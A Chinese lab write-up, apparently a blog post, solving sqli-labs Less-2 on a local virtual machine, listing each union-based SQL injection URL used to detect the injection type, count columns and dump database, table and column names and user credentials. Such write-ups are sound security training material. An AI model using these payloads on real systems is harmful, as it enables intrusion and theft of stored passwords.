sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
等....5 小时前
Minio使用
数据库
win x6 小时前
Redis 使用~如何在Java中连接使用redis
java·数据库·redis
迷枫7127 小时前
DM8 数据库安装实战:从零搭建达梦数据库环境(附全套工具链接)
数据库
XDHCOM7 小时前
PostgreSQL 25001: active_sql_transaction 报错原因分析,故障修复步骤详解,远程处理解决方案
数据库·sql·postgresql
卤炖阑尾炎8 小时前
PostgreSQL 日常运维全指南:从基础操作到备份恢复
运维·数据库·postgresql
daad7779 小时前
wifi_note
运维·服务器·数据库
xixingzhe29 小时前
Mysql统计空间增量
数据库·mysql
程序员萌萌10 小时前
Redis的缓存机制和淘汰策略详解
数据库·redis·缓存机制·淘汰策略
不剪发的Tony老师10 小时前
SQLite 3.53.0版本发布,重要更新
数据库·sqlite
Bczheng110 小时前
九.Berkeley DB数据库 序列化和钱包管理(1)
数据库